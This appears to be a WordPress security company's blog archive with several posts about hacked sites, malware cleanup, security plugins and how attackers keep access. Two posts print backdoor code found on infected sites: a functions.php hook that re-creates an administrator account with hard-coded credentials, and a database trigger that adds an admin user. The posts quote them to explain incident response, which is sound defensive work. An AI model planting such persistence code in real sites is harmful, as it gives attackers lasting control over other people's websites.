Category: WordPress

You Can’t Migrate Your WordPress Website to Squarespace, Only Move Some of the Content

We were recently contacted by someone looking to migrate a WordPress website to Squarespace. Based on that interaction, it seems that not everyone is familiar with the implications of trying to make such a move. Put simply, those two systems are not compatible. You are largely starting over if you make that move. You can move various content, but everything else has to be done again.

Here is Squarespace’s own information on what content can be imported:

You can import the following content from WordPress:

  • Attachments
  • Blog pages, blog posts, and authors
  • Categories
  • Comments
  • Individual images
  • Site pages
  • Tags

You can’t import:

  • Content from plugins
  • Gallery images
  • Image captions
  • Images saved in your Media Library, but not attached to any posts or pages, won’t import. We recommend downloading all images in your Media Library so you have them as a backup.
  • Style or CSS. To customize your Squarespace site’s design, use the Site styles panel.

The last item mentioned that you can’t import, is really important to note. All the styling will need to be redone. Depending on how advanced the design of the website is, that might not matter much (if you, say, only have text pages), but it also might dramatically undo the look of the content.

How you manage the website can also be dramatically different.

If you are simply having some trouble with your WordPress website, as the person we were contacted by was, it would be better to see if that can be addressed instead of making a huge change, like switching to Squarespace. We can help you with that.

Your WordPress Website Might Be Hacked if It Is Loading Very Slowly or Not Loading at All

We were recently contacted by someone looking to move their website off of WordPress because of downtime the website was experiencing. WordPress websites shouldn’t have problems with downtime unless something is going wrong with the website or the web hosting it is on. The solution to that wouldn’t be to move off of WordPress, but to address the problem. So what was going on?

When we went to view the website, we found that either it was slowly loading or not loading at all. Pulling up a cached copy of the website’s homepage through the Bing search engine, we were redirected to a malicious website. Viewing the source code of the cached copy of the homepage, we found that it contained obfuscated malicious code (the same code existed on the live website). So the problem here was that the website had been hacked. The solution to that is to clean up the hack, not switch to other software that could also be hacked.

If you are having a problem with your website, get in touch with someone who can assess what is going wrong. We can help you with that. If you need a hacked WordPress website cleaned up, we can also help with that.

It Shouldn’t Take SiteLock Days to Remove Malware From a Hacked WordPress Website

In dealing with hacked websites, a company that we used to have come up a lot in conversations with clients was SiteLock. There have been many problems we have run across with them in past years. We were contacted this week by someone dealing with them after malware was detected on their website by Bluehost. Bluehost gets paid by SiteLock if you hire SiteLock to clean up the website, which is why they promote hiring them to clean it up. It isn’t because SiteLock does a good job of it.

That was on display with what this person was dealing with this week. They were now on the fifth day of SiteLock working on removing the malware from their hacked WordPress website (or at least they were supposed to be working on it). It shouldn’t take that long. It usually should take a few hours to do that clean up. At least when we are cleaning up a hacked WordPress website, that is how long it takes. That is with us doing a proper cleanup, whereas lots of providers, including SiteLock in our past experience, don’t do, so it should take less time than that.

We don’t have good advice to give to those who have already hired SiteLock. But for those that haven’t, the best advice is to avoid them.

If someone else has good advice for those who have hired them and are experiencing problems, leave a comment below.

Wordfence Security Daily Malware Scans Are Not the Way to Clean Up a Malware Infection of a WordPress Website

If your WordPress website has been hacked and contains malware, a common suggestion for cleaning it up is to use the Wordfence Security plugin. There are a number of problems with that. One being that it won’t necessarily catch all the malware, as someone looking for help with the plugin recently noted:

Hello, I’m using the free version and I’m doing daily scans because my site has a malware. At some point the scan did not detect some new folders that have been created in the root folder.

The folders has some random characters as an name and it contains an index file and a cache folder.

The larger problem with what they were bringing up there is that if you had cleaned up the malware, there wouldn’t even be more malware to possibly detect day after day. So something has gone wrong there.

If there is malware on a WordPress website, the focus shouldn’t be on removing the malware, though it does need to be removed. It should be how it got there, which is something that Wordfence Security can’t determine. When the plugin removes the files without determining that, it makes it harder to figure out.

Another important reason for trying to figure out how the website was infected, which have seen over and over in years of being brought in to re-clean hacked WordPress websites, is that in doing the work to try to figure out how the website was hacked, you often find malware or other malicious code that otherwise would have been missed.

Figuring out how the malware got there in the first place or at least stopping it from getting back in basic part of a proper hack cleanup, but something that many security providers, including the developer of Wordfence Security, either don’t do or fail to accomplish.

WordPress Security Plugins Won’t Fully Disinfect a Hacked WordPress Website

When it comes to cleaning up hacked WordPress websites, there is a lot of advice suggesting solutions that are easy, but don’t properly address the situation. That leads to continuing issues that could have been addressed quickly if handled by a professional like us.

As an example of what not to do, take a recent post from the WordPress Support Forum, where someone claimed to have done a full disinfection of a website, which hadn’t worked:

Despite the fact that we did full disinfections, restored backup files several times, and added strong security systems plus CDNs, Google Search Console and McAfee blocked us from the site, for being malicious, for a long time.

One thing missing there is trying to figure out how the website was hacked. That is important for multiple reasons. One of them being that if you don’t know how the website was hacked, then you can’t be sure the issue has been addressed and won’t happen again. Another reason is that if you don’t know how the website was hacked, then you also likely don’t know when it was hacked. Restoring a backup file won’t clear out malicious code, if the malicious code is in the backup as well.

Another issue is that they were trying to find malicious code using several WordPress security plugins, which didn’t find it:

This code is invisible to the user and to monitoring systems such as Wordfence, iThemes S[ecurity], All-In-One Security (AIOS), and Anti-Malware Security and Brute-Force Firewall. None have detected it.

While they are claiming the code was invisible, their description of it tells a different story:

A function added to the head of a theme’s .js file, which uses a “Get” call and links to an encrypted external link.

It is only shown when loading certain pages in the browser code inside (it is not always shown…)

During a proper cleanup, theme files would be checked and before even starting on a hack cleanup, a professional should have noticed the code was being loaded on the website (even though the subsequent code loaded would only occur in some instances). A professional would have been looking for the code before starting, as often people think that some other issue with a website is a hack. So they want to make sure a hack cleanup is needed before starting.

Automated malware detection doesn’t work well, as it both fails to detect plenty of malicious code (as occurred here) and also flags legitimate code as being malicious.

The Cause of a WordPress Website Having User Registration Suddenly Enabled and the Default Role Being Set to Administrator

Oftentimes, when it comes to how WordPress websites have been hacked, it is hard to say without doing a proper cleanup what was the original source of the hack. But in some cases it is easy to say what was likely the cause. Take this description of what happened with a recently hacked WordPress website:

Yesterday at 23:08 I received an email from my wordpress “Admin Email Changed”: “[…]The new admin email address is ad@example.com.[…]”

Right after that, a new user registered, cryptic username “wpnew_kmyjzvfyoflv” This username had admin role!

Today in the morning when I realized, I checked, in the settings was “Anyone can register” checked and standard userrole is Administrator.

What you have there is a hacker being able to change three WordPress settings. The admin email address for the website, whether anyone can register for an account, and the default user role for new accounts. How could they do that? Either they would need the ability to directly change the content of the database used for the website or they would need to be able to change arbitrary WordPress settings.

You can rule out the first as the likely cause, as a hacker could, among other things, create a new Administrator account without going through additional steps if they have direct access to the database.

That leaves the second option. The cause of that is almost certainly going to be what is usually referred to as an option update vulnerability. That is a type of vulnerability that hackers are guaranteed to try to exploit if they know about them.

In addition to cleaning up whatever the hacker does once they have changed the WordPress settings, you need to make sure the vulnerability has been fixed to address this. That might be as simple as updating a plugin, if it has had that type of vulnerability and it has been fixed. If you don’t know what the source is and you don’t have the capability to figure that out, then it is time to bring in someone who has the capability to both review the log files for the website and review the plugins being used on the website.

How Another Hacker Was Able to Re-Add a Malicious User to a Hacked WordPress Site

In October, we wrote about how a hacker was able to re-add a malicious user to a hacked WordPress site using a database trigger. That isn’t the only way they can do that, as we found while working on cleaning up a hacked WordPress website recently. In this situation, as soon as a malicious Administrator account was deleted, a new account with the same account information would be created. The cause was code added to the end of the functions.php file for the theme currently in use on the website.

That code was as follows:

add_action( 'init', function () {
 
$username = 'kshivvamaster';
$password = 'Admin@2020';
$email_address = 'kshivva@gmail.com';
 
if ( ! username_exists( $username ) ) {
$user_id = wp_create_user( $username, $password, $email_address );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
 
} );

The first line causes the rest of the code to run whenever WordPress loads. The rest of the code checks if the username “kshivvamaster” exists. If it doesn’t exist, it creates a new account with that username along with the specified password and email address in the code. That account is given the Administrator role.

How a Hacker Was Able to Re-Add a Malicious User to a Hacked WordPress Site

It is pretty common for it to appear that hacked WordPress websites have gotten re-hacked. What we find from being brought in to re-clean them is that often websites haven’t been re-hacked, instead the original cleanup was incomplete, leaving parts of the hack in place. Often that is because whomever did the original clean up cut corners during the cleanup, but it is also possible the hacker has hidden something in ways that it would be reasonable to have missed, based on what hackers commonly do.

A recent post on WordPress’ forum mentioned an example of the latter, which is worth highlighting. According to the poster, a database trigger was added to the database for the website, which would create a new WordPress user account for the hacker. A database trigger involves code that runs automatically in certain circumstances. The code was:

BEGIN
     IF NEW.comment_content LIKE '%are you struggling to get comments on your blog?%' THEN
         SET @lastInsertWpUsersId = (SELECT MAX(id) FROM database.wp_users);
         SET @nextWpUsersID = @lastInsertWpUsersId + 1;
         INSERT INTO database.wp_users (ID, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES (@nextWpUsersID, 'wpadmin', '$1$yUXpYwXN$JhwwoGJxViPhtGdNG5UZs0', 'wpadmin', 'wp-security@hotmail.com', 'http://wordpress.com', '2014-06-08 00:00:00', '', '0', 'Kris');
         INSERT INTO database.wp_usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, @nextWpUsersID, 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}');
         INSERT INTO database.wp_usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, @nextWpUsersID, 'wp_user_level', '10');
     END IF;
 END

The second line of that causes the rest of the code to run if a new blog comment is created that contains the phrase “are you struggling to get comments on your blog?” in it.

The rest of the code creates a new WordPress user account with the username “wpadmin” that has the Administrator role. As is pretty common, the email associated with the account is made to look like it might be something official or security related. In this case it is “wp-security@hotmail.com”.

What is slightly more sophisticated than we usually see with malicious WordPress user accounts created through the database is that the account has a creation date, and one well in the past, “2014-06-08 00:00:00”.

It is important to note for anyone coming across this while trying to figure out how a malicious WordPress user account has been added or re-added, that there are other ways hackers can do this. For example, if a hacker has direct access to the database, then they can create an account. So if, say, the database password wasn’t changed when the website was being cleaned up, the hacker might be able to gain access to the database that way. It is also possible for them to indirectly access the database, say, with malicious code in one of the website’s files.

Often times you can start figuring out how the hacker has re-gained access to the website by reviewing the log files for the website. Even in this case, there would be activity from the hacker logged, from when they posted the comment. Though, it wouldn’t be obvious that it would be malicious activity, as it would be when a request is being sent to a file on the website that shouldn’t be there or that shouldn’t be receiving direct requests.

Fresh Installs of WordPress Apparently Being Hacked Based on Public Disclosure From Let’s Encrypt

It’s long been a known issue that if you place a copy of WordPress on a publicly accessible website, but don’t configure it, hackers will eventually configure it, which gives them access to the website. This works because WordPress has no restrictions on configuring it once the files are loaded on the website and you can configure it with a database on another server, so you don’t need to have access to any existing logins for the website. This isn’t usually an issue since people upload WordPress and promptly configure it, but recent claims suggest that hackers have found a way to exploit this even in that type of situation.

Let’s Encrypt is a service that provides free SSL certificates. A message on their support forum described part of what appears to be going on here:

we found more sites, which was hacked very fastly after LE generated.
Our clients start installation after LE was green, but in meantime (max 15 minutes after LE) robot from 185.59.221.* come and use WP installation files to prepare hack. Days after – on all domain call malware script and start DDOS to IP from France. I think that it is because crt.sh is scanned.

A reply added further details and suggested that this part of a larger issue when it comes to hackers:

More likely they are directly polling the CT log servers, as the delay to detect new domains is much shorter. But yes, what you describe has been happening for a few years now. I see requests to paths like /.git/index within seconds of issuing new certificates!

The CT mentioned there refers to certificate transparency, which Let’s Encrypt describes this way:

Certificate Transparency (CT) is a system for logging and monitoring the issuance of TLS certificates. CT greatly enhances everyone’s ability to monitor and study certificate issuance, and these capabilities have led to numerous improvements to the CA ecosystem and Web security. As a result, CT is rapidly becoming critical infrastructure.

A topic on the WordPress’ support forum includes more discussion of what is happening and a common denominator of a malicious file being added at /wp-includes/.query.php.

One solution to this would be for WordPress to change the installation process to require that the person doing the configuration has control of the website, say, by adding a file. That would make the installation more complicated, but that might not be a big issue these days, with many installs of WordPress being handled through automated systems.

Another possible solution would be for Let’s Encrypt to delay disclosing information on newly issued certificates, which would not only have an impact on this particular situation, but possibly work against what else they are trying to accomplish.

Among the promoted sponsors and funders of Let’s Encrypt shown on their homepage, is Automattic, the company closely tied to WordPress, and several web hosts that have an emphasis on WordPress:

 

A Malicious File in Your WordPress Site’s Uploads Directory Doesn’t Necessarily Mean It Is Infected

Before we take on a hack cleanup of a WordPress website, we always want to make sure the website is actually hacked. That is important for an ethical security provider because in many instances where there is a belief or a claim that a WordPress website is infected with malware or otherwise infected, that turns out to not be the case.

Recently we had someone contact us that had a security company connected with their web host tell them their website contained malware. When they asked their web host to recheck things, the web host didn’t find what the security company claimed was there, but did find another issue. We were then contacted about the situation and could identify that there wasn’t an infection, but instead, what looked to be a failed hacking attempt 7 years ago.

What the web host identified was the location of a file and some sort of malware identity label, which won’t mean much to a lot of people:

/home1/[redacted]//wp-content/uploads/2015/01/aboudrar.php_.pdf: SL-PHP-SHELL-lt.UNOFFICIAL FOUND

The first part of is the path to the website on the server:

/home1/[redacted]/

Next up is the location where WordPress stores files being uploaded:

/wp-content/uploads/

The next part is the year and month the file would have been uploaded if done through WordPress’ media uploader:

/2015/01/

In most situation where a website has been hacked, it is possible for an attacker to add files in any location on the website, so malicious files could be in that location. But the name of the file indicates that this was uploaded through and WordPress’ security came in to play. The file name is:

aboudrar.php_.pdf

The underscore in the inner file extension very likely would have been added by WordPress. The reason for that is in certain server configurations, the file is processed based on each file extension, instead of just the last. If the file was processed using the inner file extension, .php, then any code in the file could run. By adding the underscore, that is stopped from happening.

What looks to have happened based on that information, is that in January 2015 a malicious file was uploaded, but WordPress restricted it from being able to infect the website.

A takeaway from this is that bringing someone knowledgeable about security can avoid doing an unnecessary hack cleanup. Also, if a security company offering to do hack cleanups without first assessing the situation, you would be best off finding someone else to help you.